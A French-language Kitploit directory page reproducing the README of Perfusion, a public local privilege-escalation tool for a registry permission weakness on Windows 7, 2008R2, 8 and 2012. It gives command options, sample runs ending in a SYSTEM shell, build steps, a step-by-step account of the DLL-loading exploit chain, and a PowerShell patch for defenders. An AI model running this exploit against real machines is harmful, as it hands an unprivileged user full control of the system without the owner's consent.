Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/itm4n/perfusion
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionArchived
GitHubitm4n/perfusion

Perfusion

Exploit pour la vulnérabilité des autorisations de clé de registre RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

Voir le dépôt
427755il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Perfusion

Sur Windows 7, Windows Server 2008R2, Windows 8 et Windows Server 2012, la clé de registre des services RpcEptMapper et DnsCache (uniquement 7/2008R2) est configurée avec des autorisations faibles. Tout utilisateur local peut créer une sous-clé Performance, puis exploiter les compteurs de performances Windows pour charger une DLL arbitraire dans le contexte du service WMI en tant que NT AUTHORITY\SYSTEM (d'où le nom de l'outil).

Cet outil est conçu pour aider les consultants en sécurité lors de tests d'intrusion. Ce logiciel est fourni en l'état, et je ne fournirai probablement aucun support. Cependant, je l'ai testé minutieusement sur trois machines virtuelles différentes, il ne devrait donc y avoir aucun problème majeur.

Pour plus d'informations : https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ 2021-04-21 Mise à jour

D'après 0patch, cette vulnérabilité a été partiellement corrigée avec la mise à jour Windows d'avril 2021 (ESU). Cela signifie que les machines exécutant une version mise à jour de Windows 8 / Server 2012 ne devraient plus être exploitables. Cependant, Windows 7 / Server 2008 R2 reste vulnérable. Il suffit d'utiliser la clé de registre Dnscache plutôt que RpcEptMapper. J'ai mis à jour le PoC afin que vous puissiez la spécifier manuellement avec l'option -k.

Problèmes connus

⚠️ LISEZ CECI AVANT D'UTILISER CET OUTIL ⚠️

Pendant la phase de développement de cet outil, j'ai observé deux comportements différents :

  1. La DLL est chargée directement par le processus principal du service WMI en tant que NT AUTHORITY\SYSTEM, dans ce cas l'exploit fonctionne parfaitement.
  2. La DLL est chargée par un sous-processus du service WMI qui s'exécute en tant que NT AUTHORITY\LOCAL SERVICE. Dans ce cas, le service charge la DLL en usurpant l'identité du client. Il s'avère qu'une élévation de privilèges est toujours possible sur Windows 7 (à cause d'une autre vulnérabilité) mais le coût d'implémentation n'en valait pas la peine.

Je ne peux pas expliquer cette différence car mon code de déclenchement était toujours le même. Quoi qu'il en soit, dans les deux cas, laissez l'exploit faire son travail afin qu'il puisse tout nettoyer une fois terminé. Si l'exploit échoue, il y a encore une chance qu'il fonctionne quelques minutes ou heures plus tard.

✔️ Voici ce que vous devriez voir lorsque l'exploit fonctionne :

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ Voici ce que vous devriez voir lorsque l'exploit échoue :

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Instructions de compilation

Cette solution se compose de deux projets qui doivent être compilés dans un ordre spécifique. Tout est préconfiguré, il vous suffit de suivre ces instructions simples :

  1. Ouvrez la solution avec Visual Studio 2019
  2. Sélectionnez Release / x64
  3. Build > Build Solution

Utilisation

Vous pouvez consulter le message d'aide en utilisant l'option -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Correction / Patch

Les versions de Windows suivantes sont vulnérables :

Version WindowsClés de registre vulnérables
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

À ma connaissance, cette vulnérabilité ne sera pas corrigée par Microsoft, pour une raison quelconque. La meilleure solution reste de passer à Windows 10 / Server 2019, mais si ce n'est pas une option à court terme, vous pouvez corriger ce problème vous-même en supprimant l'autorisation CreateSubKey pour NT AUTHORITY\Authenticated Users et BUILTIN\Users sur les clés de registre suivantes :

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

J'ai créé un correctif pour cette vulnérabilité sous la forme d'un script PowerShell : RegistryPatch.ps1. Ce script supprime le droit CreateSubKey sur les deux clés de registre mentionnées ci-dessus pour les identités suivantes : NT AUTHORITY\INTERACTIVE, BUILTIN\Users et/ou BUILTIN\Authenticated Users.

  • Vérifier si une machine est vulnérable : (Windows Server 2012 ici)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Appliquer le correctif : (Windows Server 2008 R2 ici)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Comment fonctionne cet exploit ?

Voici les étapes de l'exploit implémenté dans cet outil :

  1. Un processus est créé en arrière-plan dans un état suspendu (en utilisant la ligne de commande spécifiée).
  2. La DLL de payload intégrée est écrite dans le dossier Temp de l'utilisateur actuel.
  3. Une clé Performance est créée sous HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper et est renseignée avec les valeurs appropriées, y compris le chemin complet de la DLL créée à l'étape 2.
  4. La classe WMI Win32_Perf est créée et invoquée pour déclencher la collecte des compteurs de performances Windows.
  5. La DLL est chargée par le service WMI soit en tant que NT AUTHORITY\SYSTEM soit en tant que NT AUTHORITY\LOCAL SERVICE.
  6. Si la DLL est chargée par NT AUTHORITY\SYSTEM, son jeton est dupliqué et appliqué au processus créé initialement par l'utilisateur à l'étape 1.
  7. Tout est nettoyé et le thread principal du processus suspendu est repris.
Télécharger l’outil